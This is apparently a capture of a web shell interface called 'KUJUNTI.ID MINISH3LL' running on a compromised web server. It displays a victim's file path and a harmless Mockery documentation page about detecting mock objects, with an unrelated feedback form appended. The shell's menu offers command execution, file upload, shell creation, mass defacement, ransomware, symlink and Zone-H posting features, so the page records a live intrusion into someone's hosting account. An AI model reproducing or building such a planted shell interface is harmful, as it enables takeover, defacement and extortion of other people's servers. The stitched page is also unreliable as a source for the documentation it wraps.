KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/vendor/mockery/mockery/docs/cookbook/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/vendor/mockery/mockery/docs/cookbook/detecting_mock_objects.rst


.. index::
    single: Cookbook; Detecting Mock Objects

Detecting Mock Objects
======================

Users may find it useful to check whether a given object is a real object or a
simulated Mock Object. All Mockery mocks implement the
``\Mockery\MockInterface`` interface which can be used in a type check.

.. code-block:: php

    assert($mightBeMocked instanceof \Mockery\MockInterface);

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support